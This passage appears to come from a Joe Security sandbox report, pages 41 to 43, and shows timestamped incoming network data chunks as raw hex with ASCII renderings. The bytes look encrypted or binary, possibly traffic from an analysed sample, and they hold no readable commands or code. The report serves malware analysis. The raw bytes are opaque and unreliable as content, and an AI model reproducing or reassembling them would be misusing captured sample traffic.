fa 7d 40 Data Ascii: E;DPn9Vhm$5x4++b}y.9U=1;||8&,4~n+> (-Q]#\lFDbbH^._,YkOSogrVJW0{Nl1K(AgrAX]`8h`1ewp5p$p}@
TimestampkBytestransferred
Direction Data
Copyright Joe Security LLC 2022 Page 41 of 50
2022-04-25 17:44:44 UTC 163 IN Data Raw: 24 9e 40 2a 69 6d a2 f0 76 f4 1a 01 12 a0 ba 4e 37 63 7d 16 0e 07 b7 cb f7 9e 87 3f aa a0 1c 73 e5 c8 4a 6f 75 7b 56 90 f5 0b 82 3f 2e 01 71 7d 19 29 8d f5 f7 d4 02 ee 7a a2 e5 b7 cf 24 64 07 5f 5d 03 36 84 0b 1d 6c 8b 8f e3 ce 20 3f 97 13 fa 7b 5b 9e 79 c8 39 f1 55 28 ea b1 2e 07 bc 93 77 a2 b3 c3 c9 df ff a6 77 6d cb f7 cd ac 66 38 f2 ba 00 73 6e 23 33 1e 8b a3 e0 b9 06 33 8d 56 75 cc b0 ca 5a 24 83 27 a3 e0 80 a1 70 64 51 17 dc b4 f8 2c 1d aa 50 8b 23 3d 9a 7a 46 79 af 35 97 9a 0c c6 e8 98 06 51 14 7b fc dd 46 7a 09 1f 3d 5b 6d 6d 5b 23 8d 96 23 c6 50 83 97 11 9a bd 25 97 cd 2a b6 62 2e 66 9a 3b 1f 5f 87 46 2c b7 90 54 2a 7a a6 67 68 ce 08 89 6f ee 5e b7 57 2d c1 8d a9 dc d9 ce 35 3c ce 2a c2 52 7e 88 86 78 68 70 68 0c 5e 1d 07 23 c9 2d 72 60 0c 7c 89 Data Ascii: $@*imvN7c}?sJou{V?.q})z$d_]6l ?{[y9U(.wwmf8sn#33VuZ$'pdQ,P#=zFy5Q{Fz=[mm[##P%*b.f;_F,T*zgho^W-5<*R~xhph^#-r`|
2022-04-25 17:44:44 UTC 165 IN Data Raw: 8d 8a b4 1e 3c 52 11 17 61 b2 fc 8d 5e 44 2f 58 85 16 57 48 19 c1 2c 4f 94 8e 1d a0 b1 59 d0 6d 34 15 ce 46 05 08 24 8f 6d ec 0e 19 ff eb a9 8a 49 4f fc 64 47 6d e2 92 cf 8c 43 fb fc 3d ff b6 1d 58 d3 14 09 27 49 1a a1 4f 2b d2 79 d3 93 e4 dc bf 82 f8 d4 91 a1 7d 16 09 c7 4e df 57 0a bf 03 f8 66 21 e4 b6 b0 23 64 84 0a a1 a9 38 d2 e1 a5 97 20 91 de 72 c8 e5 75 9e 9d 50 37 13 1c 26 93 2b be ed b2 18 24 0d 29 56 1e 69 5a 02 fa d2 6e 30 f8 75 ed f1 5d 23 64 45 aa 3e 81 de 42 f8 0a 39 43 c0 18 52 5a f5 4d 26 4b ba 80 f7 b3 95 59 03 8e 17 93 9e 1b 4b 04 71 54 52 67 87 36 bb 20 fb f8 5c 18 d6 46 59 9f 10 50 44 8d 4d 5e a2 90 4e d2 20 fd bf 4f 72 60 93 87 8c 70 26 64 1f 0a 5d 44 f9 2a a7 00 15 50 62 36 e7 72 3f 02 78 1c c1 a2 3c 81 52 9f 0f 9f 92 bc 30 75 da f1 Data Ascii: <Ra^D/XWH,OYm4F$mIOdGmC=X'IO+y}NWf!#d8 ruP7&+$)ViZn0u]#dE>B9CRZM&KYKqTRg6 \FYPDM^N Or`p&d]D*Pb6r?x<R0u
2022-04-25 17:44:44 UTC 166 IN Data Raw: b4 f6 63 06 1f b3 59 6c aa 8b 4a 96 25 1e 22 f5 ac 24 70 e7 7e 07 73 47 b5 65 3f 1b ba 6c 41 3b db c6 f3 8a cc 2f 26 c1 1a a9 c6 52 83 71 c2 e2 73 5e e2 2e 7c 35 19 24 4f 3b 21 96 17 28 8c 75 62 9a 85 30 02 cc 2b d3 5a 6b 6a b3 6d 12 cc f3 39 49 df 4b 51 80 68 c7 a6 84 75 0a b4 4c 4e fe 88 c3 eb 08 fb 8e 8c 66 97 ff 10 8f cc 99 2f 98 bc 94 f0 d4 1d d0 f1 34 b6 b7 1f 08 9d 6c 3c 65 c8 25 66 8a 77 25 65 20 fa dc 84 e7 ed e3 ac 6a 9a af 74 cb 0d 19 ad 38 b7 50 d6 3d d9 45 39 b3 a8 d0 22 83 2a 3d 73 85 87 29 19 4a eb fc a9 81 23 e4 d3 8e e5 d7 1e a3 69 14 18 52 3e db b3 a0 a1 57 3b eb 8d 63 f5 dd 8f a9 40 d5 48 85 8b 0b 5d 3c b7 1c 49 c2 16 48 dc ca f5 58 c8 46 dd 1a 4e dd 69 4f 66 94 c5 2c 92 d2 af cd a3 26 fd 92 d2 9f bc eb 0e 40 3b b1 21 d1 56 86 7e 5e a0 Data Ascii: cYlJ%"$p~sGe?lA;/&Rqs^.|5$O;!(ub0+Zkjm9IKQhuLNf/4l<e%fw%e jt8P=E9"*=s)J#iR>W;c@H]<IHXFNiOf,&@;!V~^
2022-04-25 17:44:44 UTC 167 IN Data Raw: 52 f0 3c 26 3f 1c 16 24 2b 72 ec 7d 0a 27 c1 a0 1c 0f 45 5a ca 4d d2 a2 31 ab 60 e8 3d b0 9b 75 69 aa 3e 90 de 8e f9 3f 7a 41 0c 69 e1 4b d9 4d a6 fa ba 4c f6 fc f6 57 1a e6 80 82 b2 1b ff b2 71 98 53 cb e4 38 92 98 f2 fc 70 18 16 f0 59 ba 12 65 20 8b 15 a4 24 81 63 d2 d4 4b bf 83 73 f8 f0 81 aa 90 a4 75 31 0a 79 fd f9 8f a1 98 16 5e c2 ab eb 73 10 02 20 b2 d9 aa 1d 92 54 90 b8 fe e8 b8 1f 75 be 4f ea 6e db 58 96 a6 cd f3 98 e8 cf a5 cf 37 04 f2 98 7f 7c 3e f7 aa a2 8a df b0 26 72 e2 52 d1 c4 a9 5e 0f 92 a2 b1 01 7d a3 d2 c7 6d f0 cb 6d 4f d1 53 e2 2c ff d8 63 f6 7b c3 90 9f 49 c6 5a 45 07 64 bb 14 c9 93 85 64 81 af 4c b1 03 1d 45 fb 4b a7 4f ff 7a 0c 0b 48 c0 03 f9 4b 2d 6a b9 03 e7 ee 3b e8 9f d5 2a 48 a1 6f 79 fe d7 3b 7d 6f a1 42 48 16 72 b1 db 90 a9 Data Ascii: R<&?$+r}'EZM1`=ui>?zAiKMLWqS8pYe $cKsu1y^s TuOnX7|>&rR^}mmOS,c{IZEddLEKOzHK-j;*Hoy;}oBHr
2022-04-25 17:44:44 UTC 168 IN Data Raw: 53 14 4e 9d 24 df 65 3e 24 e0 8c 76 f6 11 d8 e2 9a 84 b3 09 e3 60 6b 4d a3 75 fa f1 f7 b5 7e b7 d8 35 3d 15 44 c8 be a9 92 d2 56 32 7b 73 11 74 31 11 6b f8 fa a8 56 17 08 cb c8 e5 1f 8d a0 f9 1a 0b 54 3f 33 f6 76 b9 11 3b 3f 3c 60 39 dc 71 ae 41 00 09 77 8e 4d 5d 34 50 04 47 e3 90 4e dd 14 20 6e cc 00 dd ae 7a dd a5 4e 5a 9e d4 24 ab b6 af 8b a3 32 1d 92 1e 9e fd e4 0f 0f ff 8f 20 97 56 ce 9e 5e 6c 33 de bb 8c 9f 24 1d d7 73 a7 cc 43 27 90 da bf a5 23 6a 84 83 62 81 7d 24 4a 71 8f 38 e8 f2 e1 df 86 f9 e5 46 ce 9b cf 94 e8 7a de f4 08 4e 55 f5 e0 77 3b ce 8a 95 bb 58 b7 3b 15 c1 fb 09 10 2f f1 dd 0a 54 2d cd 7f b3 eb ee 6e 62 d3 e0 ad 91 0d c9 e8 32 3a 12 20 db 50 22 5d 54 5c c8 9a 5a d7 ab 8d 8c bd 16 eb 51 8e 51 63 9c bf af 5e 44 2f 49 9b 00 7e ef 0a 87 Data Ascii: SN$e>$v`kMu~5=DV2{st1kVT?3v;?<`9qAwM]4PGN nzNZ$2 V^l3$sC'#jb}$Jq8FzNUw;X;/T-nb2: P"]T\ZQQc^D/I~
2022-04-25 17:44:44 UTC 170 IN Data Raw: ed 1d 02 d0 99 0f d7 d3 af 30 c9 dc fe f1 29 db 80 13 af f4 d3 48 ea e0 b7 55 86 1f b5 98 c7 ff 37 be 8a 74 8a f0 68 84 f0 e0 15 d1 c0 29 47 07 b3 46 b1 2e b1 6e 68 c4 2a f0 7f 49 57 d9 72 09 3b d7 d0 ba 4d 7b 84 90 d3 c9 df 52 64 0e 60 8a d8 0c 28 86 23 81 1b 6f b1 cf 1c db f4 61 af 22 46 7a 4b 0b 10 46 02 35 4a 21 6d 8b cf be 0f 1e af 9f 59 b1 49 6d 6e f1 fa e5 f7 00 bc 84 05 48 a2 41 b1 17 91 16 b7 d3 33 be 82 3d ec a0 81 f9 f2 ca 6c 6f aa 7a 95 93 5e 2e 09 3e 83 21 57 7d d5 28 9d ef dc f5 dd ef 3b ae b8 38 02 25 7f 14 4d 5d 6a 31 a0 02 5b 6c 87 1e 1a c8 21 3f 21 15 ce 7c 9f bb f2 c9 8b df 53 28 26 b0 3e 1d b5 b2 a8 a3 ed c1 5c 4e 5b a0 6e 6f de f7 cd ac 69 29 b4 ba 01 e7 79 21 32 1e 6e a2 3a ba f0 10 f6 50 d8 ec e6 4a 96 25 18 2c fd 41 36 a7 aa 77 93 Data Ascii: 0)HU7th)GF.nh*IWr;M{Rd`(#oa"FzKF5J!mYImnHA3=loz^.>!W}(;8%M]j1[l!?!|S(&>\N[noi)y!2n:PJ%,A6w
2022-04-25 17:44:44 UTC 171 IN Data Raw: 49 c5 07 40 ff c6 27 c9 5e a7 7b 5e 2b 33 86 4a 85 c9 24 dd d1 2d af b9 a6 27 d7 da d7 54 2a 2b 84 ca 25 cd e5 a4 09 72 c8 38 40 03 e8 97 86 39 a1 02 86 04 8c 97 af 7a 6a d5 00 a0 55 bc e7 29 33 27 6f 95 fc 58 b7 38 1d 34 7b c9 06 49 3d 08 87 7f 6a cd 7f b0 e3 dd ee 2b c4 86 61 98 a4 c0 a3 32 3a 11 28 e1 d0 e2 4b 32 90 d8 c6 71 9c ab 69 78 a4 1e ca 53 91 0f 6b 93 5b af 0e 44 c3 aa 82 0e 5f 69 0c c1 e2 4e 30 a7 4d a0 79 aa c7 6d f8 14 ff 45 a2 0e 7c a5 3d ec ba ed e8 eb 65 8b 03 4d fd 64 2f 6b b2 92 c0 79 54 fb 30 3c ef b6 d3 59 92 38 59 27 6d ef b1 4f 8e d4 69 d3 34 e2 75 92 d2 f8 ed 64 b1 7d e0 08 d7 4e 2b 56 93 8c 53 f8 29 d4 f4 b6 68 25 74 84 d0 a7 c0 09 82 e1 c0 62 30 91 12 73 39 e1 52 9c c4 64 67 13 60 d3 83 2b 72 ec eb 1c 71 0a 94 6c 4e 69 c9 f7 ea Data Ascii: I@'^{^+3J$-'T*+%r8@9zjU)3'oX84{I=j+a2:(K2qixSk[D_iN0MymE|=eMd/kyT0<Y8Y'mOi4ud}N+VS)h%tb0s9Rdg`+rqlNi
2022-04-25 17:44:44 UTC 172 IN Data Raw: e4 3b 01 de 37 42 e1 0a 56 b3 47 91 aa 4c ca 3b 9f 91 ab ab c9 bd 40 f1 9a 6c b8 44 7b 59 92 d3 9d 4e ac 2a 36 55 2d d5 da 66 f6 d4 d4 ce 79 7c 3d e0 82 01 75 7f 19 a0 5c a6 30 9f 8e 1c ae 5a bb 19 98 21 17 cc 14 02 7d 5a 08 b5 74 3b c8 51 78 26 f3 c6 04 bd 93 bb 35 aa d7 d6 ea 58 f0 6e 31 33 f6 01 ad 46 bd f3 54 a1 40 7a 71 32 67 83 a3 f6 bb 00 a3 b1 27 4d fb e4 1a 96 b0 e0 35 f5 60 25 31 ed 6f 02 a2 28 e5 65 8f e5 ad 6c 8d 3a a9 cc 3b ac 4d 0f 76 c1 d1 57 c1 4a 8b 50 47 e2 38 5b fb 42 2c 35 fe da 58 3b ed 97 b4 2a 5b 5f 73 f7 d5 30 00 33 3c d3 96 6a af b0 1e 17 55 81 69 49 c1 b4 46 80 a4 c6 42 8f 74 21 41 3c 1e fe b2 3c fc 08 37 8f bd 6d 3f fa 69 fe 9c 99 7a 67 ab 94 55 d2 0d d0 d7 1f 47 c6 4f 08 ed 93 2b 65 3e 24 76 8a a7 20 08 56 aa dc 0f 18 fd e3 60 Data Ascii: ;7BVGL;@lD{YN*6U-fy|=u\0Z!}Zt;Qx&5Xn13FT@zq2g'M5`%1o(el:;MvWJPG8[B,5X;*[_s03<jUiIFBt!A<<7m?izgUGO+e>$v V`
2022-04-25 17:44:44 UTC 173 IN Data Raw: b2 48 39 5e 16 2c 6d 81 5e 5f a2 02 c3 2e 4f f0 31 1d b9 a4 6c c4 3d f8 f9 f1 47 07 08 bc 33 6d 90 0d 2c eb bb 65 85 9b 4f fe 64 e7 d6 e2 d1 da b9 57 ab 30 13 70 b4 1f 58 a7 ac 09 81 4a 2f b2 1f 8e 85 f6 d1 91 e4 40 06 82 80 c2 a4 b2 2d e0 7a 48 4c dd 57 a6 18 03 28 65 14 f7 e6 68 b1 eb 86 08 a1 f5 9d d2 f8 bd a2 33 c1 12 c5 a6 e3 77 9e f1 f0 37 e9 1f 13 80 7b 72 34 74 1e 27 0d a1 f8 1e b1 42 37 e9 82 a2 c8 a2 74 e8 f1 b1 8c 64 6b ae 0b 92 8e 8e e2 35 3e 46 c0 68 fe 5a 59 51 13 5f ea 4c cb f6 92 5c 03 c2 ba 93 f2 1f 7e 17 21 98 0c c1 80 33 bb bc 50 f8 c9 05 e3 55 09 ba 93 6f 44 88 4d 8a 0b 90 d8 d6 15 ee ef 83 d0 f2 94 82 8c 98 f0 64 da 17 68 57 a9 8f 64 92 12 56 62 82 53 72 ff 06 4d 18 89 aa fb 98 50 98 0f d7 45 bc 29 6b ef e5 ba 6e d3 53 92 ae f4 d3 de Data Ascii: H9^,m^_.O1l=G3m,eOdW0pXJ/@-zHLW(eh3w7{r4t'B7tdk5>FhZYQ_L\~!3PUoDMdhWdVbSrMPE)knS
TimestampkBytestransferred
Direction Data
Copyright Joe Security LLC 2022 Page 42 of 50
2022-04-25 17:44:44 UTC 175 IN Data Raw: 70 4a 22 22 2b 36 a5 60 dc b3 ef 77 07 97 bc b5 1c 3d 2e ae 3c 8d 21 2a ce fa 8a 78 9b 26 6d 13 9c c2 1a 8b 6d c4 e0 7a 5e ce d6 7c 96 1b 11 5b 6b ed c9 37 28 85 75 46 63 85 5a 10 f9 3f 83 96 15 2c b2 64 12 60 15 39 84 dd 7e 45 d0 a4 66 c1 8d 7c 0a 74 a8 4e 6a 9a f6 ff 58 37 4e 3e 6f 9e ff 5c 6a cc 6e 2d ad a8 c4 55 31 8e d2 f8 34 72 52 1f d7 8e 59 28 35 3e 21 f6 88 7e 25 3d c2 fa f7 87 d2 fe b3 60 4c 5b a7 7d cb f9 fb ad e7 a3 65 c2 6d 15 0c de ba a1 d0 da 60 2a 68 70 b0 83 61 11 01 ee fe a0 81 10 04 d3 92 f0 e2 7a f0 f9 96 1d 50 37 db f1 40 a1 28 38 de cb 30 39 72 67 aa 49 d5 18 65 8b 8a 48 09 a4 54 47 2c 86 4a d5 ca 31 b8 c8 ef de 2f 5a 8d a5 bf 4c 9a cc 2c 8a 33 af b6 b5 13 e9 c2 1e 8d ea e5 07 40 ff 50 21 02 55 b3 6a 0e 6c 06 c9 ba 84 c9 24 4b d7 29 Data Ascii: pJ""+6`w=.<!*x&mmz^|[k7(uFcZ?,d`9~Ef|tNjX7N>o\jn-U14rRY(5>!~%=`L[}em`*hpazP7@(809rgIeHTG,J1/ZL,3@P!Ujl$K)
2022-04-25 17:44:44 UTC 176 IN Data Raw: 86 e9 48 1e 77 0d 96 4f 1c 69 5a 02 7d d2 90 1d 9e 74 b8 f1 e8 3b 66 45 aa 3e 06 de 95 ff 0a 3e 16 c0 13 49 58 f5 4d 26 cb ba 39 d8 c9 92 0c 03 5f 0d 91 9e 1b 4b 83 71 04 52 fe 80 63 bb 02 e7 fa 5c 18 d6 c1 59 d8 14 50 44 d8 4d 55 bc 92 4e d2 20 7a bf 6f 72 cd 94 d2 8c 99 44 66 1f 0a 5d c3 f9 4a a7 ad 12 06 62 a1 e7 70 3f 02 78 8c d9 b1 1f a7 50 c8 0f 92 f1 be 30 75 da 71 ea 96 dd 6d 92 fe f4 b4 6a fb e0 a5 57 09 04 a0 9a 4a 78 66 be 03 56 99 f0 b0 82 4c e2 ea d6 f1 ad 16 07 18 64 a2 2e 7d 6f ec c7 11 f2 fe 69 07 d9 bf 2b 3f cf d8 9b c8 7b 8e 9a aa 4d 8e 52 8b 2c 74 8a 14 0d ac 85 c2 83 9a 4f e1 cf 0c f8 f0 79 a7 03 c3 7a 61 19 7d c3 53 35 78 02 79 8b 03 bf d5 3b 38 9d e0 39 18 6d 3d d2 ee e5 3b 01 48 a1 d5 5a 23 61 e1 17 e4 35 b3 cb 3b 9f 07 3d 51 a2 8c Data Ascii: HwOiZ}t;fE>>IXM&9_KqRc\YPDMUN zorDf]Jbp?xP0uqmjWJxfVLd.}oi+?{MR,tOyza}S5xy;89m=;HZ#a5;=Q
2022-04-25 17:44:44 UTC 177 IN Data Raw: d5 88 2e 25 45 79 f8 dc 84 e7 6a e3 6c 6e 78 a7 2d cb 63 40 af 38 b7 50 56 3d 8d 62 fd ba f1 d0 66 db 28 3d 73 85 17 31 27 6e cd fe f0 81 cd bf d1 8e e5 d7 ee a0 2b 30 3e 50 67 db 0f fb a3 57 3b eb 5f 60 59 d9 44 aa 19 d5 38 dd 89 0b 5d 3c 30 04 bb c9 a5 4a 85 ca 73 00 ca 46 dd 1a ce dd 3d 4b 6f 9a 9c 2c ee 8b ad cd a3 26 7d 92 38 b5 c8 e5 57 40 79 e8 23 d1 56 86 fe 5e bc 36 eb ba d4 c9 83 f3 d5 35 a7 98 23 27 67 f1 8a a4 7b 2b 4c e4 61 c7 7d ac 2a 71 78 3d dd f3 b9 97 6f 17 e7 00 ce 0f af 94 dd 56 Data Ascii: .%Eyjlnx-c@8PV=bf(=s1'n+0>PgW;_`YD8]<0JsF=Ko,&}8W@y#V^65#'g{+La}*qx=oV
2022-04-25 17:44:44 UTC 177 IN Data Raw: eb f5 50 a0 5f 93 e3 31 3b 06 ea 95 a5 5e 82 3a 4d 34 d7 e6 12 69 f1 09 6a 54 55 e3 4a b2 b3 dd 20 04 d0 a6 ad 99 6c c9 47 33 0f 13 78 e1 20 cd 5f 12 5c d9 fb 5a b2 ad b8 88 f5 1e 5b 7c 95 17 63 b2 de af b1 45 1a 5a d3 0e ec 46 08 c1 2e 4f 66 a7 d5 a6 84 5b 96 6d 2d 3b fb 45 07 08 2a a5 73 ee 3b 1b b9 eb 93 a4 90 4d fe 64 71 40 19 94 fa 8e 05 fb 28 0c 7b b6 1f 58 31 3a 5c 25 7c 18 e0 4f b7 e4 fd d3 91 e4 d6 90 09 f0 e1 93 e0 7d ba 38 43 4e dd 57 30 8e 7c fa 53 23 a5 b6 14 15 e0 84 08 a1 63 0b 85 eb 90 95 61 91 8f 43 ad e1 77 9e 67 66 9e 11 29 24 d2 2b cc dc 7f 1c 27 0d 37 6e 6e 7b 6f 00 bb d2 7d 01 a9 76 e8 f1 27 1a b7 47 9f 3c c0 de 8e c8 3d 3c 46 c0 fe 68 fa e7 78 24 0d ba 6d c7 fe 90 5c 03 54 2c 6e 9c 2e 49 45 71 db 62 c9 82 33 bb 2a c6 1d 4f 2d d4 07 Data Ascii: P_1;^:M4ijTUJ lG3x _\Z[|cEZF.Of[m-;E*s;Mdq@({X1:\%|O}8CNW0|S#caCwgf)$+'7nn{o}v'G<=<Fhx$m\T,n.IEqb3*O-
2022-04-25 17:44:44 UTC 179 IN Data Raw: 0d a6 01 a4 1a 1c 6c 47 18 1b 53 07 0a 30 45 02 2f 61 9c b5 c9 3f 6b 53 11 23 85 3a 55 bd e7 80 a1 aa c1 c8 49 5a 75 44 5a cf a7 01 38 7d 29 f3 ba a5 e3 78 42 37 2b 7f f2 f6 0c 3b 37 b1 50 6c 58 e6 b5 bc 10 1c 64 f5 b9 1e a5 ed 77 07 01 2a 2e 60 0a 19 fc 6c 77 01 3d cc fa 8a ee 0d 0f ea 2f ab 90 4a 97 6c d3 e2 7a 5e 58 40 af 30 2c 26 09 3b d3 ab 20 2a 85 75 d0 f5 7f 1b 37 ce 6d d3 f6 56 3b b0 64 12 f6 83 c3 4c ea 49 17 80 26 fa d6 8f 7c 0a e2 3e 76 d2 bd c1 ad 08 93 b3 29 6d 9e ff ca fc ed 9f 1a 9a fa 94 93 ee 99 d0 f8 34 e4 c4 64 26 a8 6e 7a 65 d6 18 e2 8a 7e 25 ab 54 48 dd b1 e5 ac e3 6a 56 4f a5 7d cb 6f 6d c5 3e 82 52 90 3d 39 79 ca b8 a1 d0 4c f6 d8 3c 46 87 d1 31 5f 56 fa fc a0 81 86 92 18 88 d0 d5 28 a0 89 27 09 52 37 db 67 d6 80 55 0e e9 99 60 a8 Data Ascii: lGS0E/a?kS#:UIZuDZ8})xB7+;7PlXdw*.`lw=/Jlz^X@0,&; *u7mV;dLI&|>v)m4d&nze~%THjVO}om>R=9yL<F1_V('R7gU`
2022-04-25 17:44:44 UTC 180 IN Data Raw: 33 e0 38 09 27 49 8c b0 54 8a e1 fd 83 91 69 07 92 82 f8 d4 07 b0 ef fc 3d 43 1e dd f8 e1 8c 03 f8 66 b7 f5 f9 6c 10 e0 d4 08 71 b2 09 d2 e1 a5 01 31 19 0f 46 ad b1 77 6f b6 64 37 13 1c b0 82 a6 76 d9 7f 4c 27 1e e9 6c 1e 69 5a 94 eb 6e bf 04 a9 26 e8 c4 f9 18 64 45 aa a8 90 69 8a cc 3d 6c 46 96 20 6a 5a f5 4d b0 5d 5c 51 c3 fe c0 5c 74 8a 2e 93 9e 1b dd 15 99 9c 66 c9 d2 33 22 f4 c4 f8 5c 18 40 57 28 9b 27 67 16 88 f6 c2 9f 90 4e d2 b6 ec ad 86 46 fa c6 82 51 d0 64 64 1f 0a cb 55 67 a9 94 9a 40 56 9d ca c7 72 3f 02 ee 1a e5 af 28 90 02 98 2f 9e d1 bc 30 75 4c e7 32 44 ee 5a c0 ae b6 9a 4a f9 e0 a5 c1 9f 62 f7 ad 7d 2a 36 da c3 76 9b f0 b0 14 da e0 79 e4 c6 ff 46 81 fa 44 a0 2e 7d f9 7a 59 68 c5 c9 3b 57 71 3b 0b 3d cf d8 0d 5e 57 e8 a5 9d 1f de 98 2d 0c Data Ascii: 38'ITi=Cflq1Fwod7vL'liZn&dEi=lF jZM]\Q\t.f3"\@W('gNFQddUg@Vr?(/0uL2DZJb}*6vyFD.}zYh;Wq;=^W-
2022-04-25 17:44:44 UTC 181 IN Data Raw: f7 85 30 02 5a 3d 05 82 5f 3b e0 64 ac 33 81 39 49 df dd 47 cc a7 f3 d6 df 7c d5 27 3c 4e fe 88 55 fd 1b 22 ba 29 3d 9e fe 08 fe cc 99 2f 0e aa e2 56 e7 99 80 f8 17 26 c6 1f 08 9d fa 2a 58 2b 11 e2 da 7e 61 69 56 fa dc 84 71 fc 43 63 5e 4f f5 7d ae ad 6f ad 38 b7 c6 c0 96 00 71 ca e8 a1 56 8e f4 2a 3d 73 13 81 fb 12 5e fa ac a0 26 44 90 d3 8e e5 41 78 21 ee 2f 09 02 37 13 a5 d4 a1 57 3b 7d c9 94 3a e9 73 f8 49 3f 4c f1 8b 0b 5d aa a6 b8 5f d6 92 18 d5 c1 64 2c c8 46 dd 8c 58 c3 a1 7b 58 c8 cc 00 df a7 af cd a3 b0 eb 07 02 ab ff b7 07 0e aa c4 21 d1 56 10 68 0c 68 06 dc e8 84 b9 71 df d7 35 a7 0e b5 ac 8d ef bd f6 2b ba d1 c8 63 c7 7d 3a bc e1 8b 0d ea a1 e9 24 d3 3b e5 00 ce 99 39 2b f5 4f dc a7 00 74 00 be e1 31 3b 90 7c 2f bf 6d b5 68 1d c2 ae cb 10 69 Data Ascii: 0Z=_;d39IG|'<NU")=/V&*X+~aiVqCc^O}o8qV*=s^&DAx!/7W;}:sI?L]_d,FX{X!Vhhq5+c}:$;9+Ot1;|/mhi
2022-04-25 17:44:44 UTC 183 IN Data Raw: 8b 53 42 83 65 97 b1 c5 69 5d 0e c5 45 5a 7b 12 ed 4f 90 4e 0b 9c d4 65 cc 23 6d be fd 60 dc 95 43 8c 3c 40 4d 1c cb 5d f1 df a0 a2 c1 11 28 48 a8 c7 eb 3e 27 6b 30 db 0b 1c fe 53 df 0c 76 d2 0d 13 38 d9 be eb e4 f1 0b 93 07 f5 53 61 ea e0 14 56 97 25 b9 9a d6 7b 3e 9f ea 77 df f0 b8 a3 c9 e2 1e d1 34 8f d3 04 e7 46 5a 06 ed 6f bb c7 11 e9 63 68 13 d9 c5 0e 92 cc 8c 9b 37 51 76 93 56 4e 4e 5c 77 0e 32 8a 42 21 83 86 20 81 5a 50 a2 cf 50 db 07 64 b4 03 84 7b 04 2a 5b c1 d2 34 7f 2c a6 88 d2 be 3d 28 a1 9e 5c 3a 40 4c 9f f2 35 e4 b1 0f cd a1 43 49 68 70 aa 13 68 17 18 c5 1b 9b 70 3c 8e 8e 9e 71 fa c8 55 4b 97 7e b8 93 fa 2f 7a 3a d6 02 f6 6c 2b 29 7a f6 c9 fe f5 eb 9d af 4d 90 fd 24 9e 15 a6 79 9d 34 7e 19 9e 44 87 8e fa c9 3e 36 f2 15 e3 7c ad 93 75 c9 de Data Ascii: SBei]EZ{ONe#m`C<@M](H>'k0Sv8SaV%{>w4FZoch7QvVNN\w2B! ZPPd{*[4,=(\:@L5CIhphp<qUK~/z:l+)zM$y4~D>6|u
2022-04-25 17:44:44 UTC 184 IN Data Raw: 92 56 61 d0 e0 dc 38 53 c6 e1 a7 68 90 d8 75 b0 27 dd b1 f7 32 18 73 3d 0f 00 be f4 fe 40 4c ce 7d 29 d7 4c 6c 1e 70 d3 e6 44 9b 98 71 0a c3 af 6e c9 ab 07 2b 92 67 9f 66 e9 55 4a ee c2 dc d9 3a 8c 79 5a 67 3a b2 b2 55 cd 2c fc 17 35 de 9b 92 3b ba d8 66 a2 26 07 9f ce 92 c6 75 8d 7c 71 4e 38 96 e2 a0 96 7f 39 6d 20 5f 05 d8 90 d0 52 41 fd 79 a3 45 9b 36 37 fa 04 3d 8d 79 52 16 39 74 1c bc ca e1 6d 8f 23 34 5e ec cd 47 98 33 d7 bf 28 ea 8e 70 93 03 cd 05 29 73 10 c1 e0 3e f6 d9 17 5d dc 65 7b c6 a0 54 8b 05 19 d6 58 96 12 95 bc 03 ab 32 44 0d 40 c5 05 de 6b de e6 62 44 f9 a6 f9 86 7b 5c b2 6d db 3d d7 44 06 09 5a ba 30 e7 62 19 c2 f3 01 80 9b 4c 10 42 2d 45 eb 93 49 ab 9f fe 39 3d c5 93 74 53 5e 38 5e 02 d9 11 49 4d b2 d6 68 d8 b0 e7 e6 98 15 f3 fd 94 79 Data Ascii: Va8Shu'2s=@L})LlpDqn+gfUJ:yZg:U,5;f&u|qN89m _RAyE67=yR9tm#4^G3(p)s>]e{TX2D@kbD{\m=DZ0bLB-EI9=tS^8^IMhy
TimestampkBytestransferred
Direction Data
Copyright Joe Security LLC 2022 Page 43 of 50
2022-04-25 17:44:44 UTC 185 IN Data Raw: 3f f8 0e 5d d7 c3 6a b7 df de fe 64 67 5c 3f 17 54 3e ef 40 a5 ae 64 b7 5b 30 2a f1 f0 a4 fc 46 ad 18 02 49 f9 24 ff 4f 20 7a c0 12 89 5b 1a ec 56 cd 2d 4a 34 68 58 e2 b2 23 e8 de df 51 01 17 8a b1 1f b0 d6 b1 ca 3d 13 bd 30 a8 a1 bf 19 f6 c7 6f 0e bf 72 78 52 d3 bf 4e f2 36 e3 56 c9 d5 e4 9a 19 cc 60 ce 23 7d 5c fc 86 02 c3 74 21 5c 14 a7 d8 91 0e 05 f0 47 f3 3d ff 38 83 32 e5 22 36 43 5a b5 33 17 6d 53 ec 26 d9 12 b0 be ca ba d9 87 92 cb 0e 59 a8 4f af cd 0e 02 8f 5e 8d ea f6 a5 7d 59 32 32 df 7d 0d e2 cb 06 7c b0 a0 44 09 e4 1b 97 17 12 7d f4 31 24 42 c5 9c 1e ee 2c 0a 42 20 01 60 6c 85 1b 2c cc 2e 8a 70 2c 24 d8 d6 a9 77 4d 24 53 05 e2 b6 5f 3c 58 a8 35 d5 25 b7 23 39 97 ee 2b 65 74 0a f5 fa 3a d7 dc ec d3 17 73 af ab f5 14 ef 9a a5 52 d6 4a 40 96 b4 Data Ascii: ?]jdg\?T>@d[0*FI$O z[V-J4hX#Q=0orxRN6V`#}\t!\G=82"6CZ3mS&YO^}Y22}|D}1$B,B `l,.p,$wM$S_<X5%#9+et:sRJ@
2022-04-25 17:44:44 UTC 186 IN Data Raw: 77 57 3c bc 2d bc 0c 15 85 fc c1 31 ee da c0 fb 5c 0c de 7f 44 e3 d5 4f 38 d2 57 ac b5 f7 80 e9 c6 3a f4 04 45 5d 16 5d a5 5b 53 78 c6 d7 80 95 00 b0 ef cb ed 80 a2 60 d3 48 e9 72 97 04 81 84 06 7e 52 0e 20 29 47 d1 b4 1d 49 b6 51 e7 ad f8 1a f9 4c 07 08 bc b7 6d e1 0e c0 ed e3 65 9a 92 94 fa 6a e7 55 e2 92 cf 82 55 e2 30 3c 79 b8 1f 45 a7 3a 09 35 49 3f b0 96 8a c6 ff fa 91 3d 44 92 82 d5 d4 cb bc 7f e0 39 41 14 d1 45 a6 bb 03 21 62 33 f5 8f 68 fc e6 96 08 9c f5 d2 d6 f3 a5 d6 31 48 16 7d af 41 77 9c f2 68 37 b7 1c 26 82 39 72 41 7d c5 23 05 a1 d3 1e b0 5e 0a eb 13 a2 e8 af 7e e8 34 b1 c3 60 4d aa ea 90 2f 86 f1 3f e4 46 19 6c 60 5a 29 4d d0 55 b2 4c 16 fc 6b 54 0b c2 c8 93 9e 12 43 15 99 98 56 c2 8c 33 52 bc 25 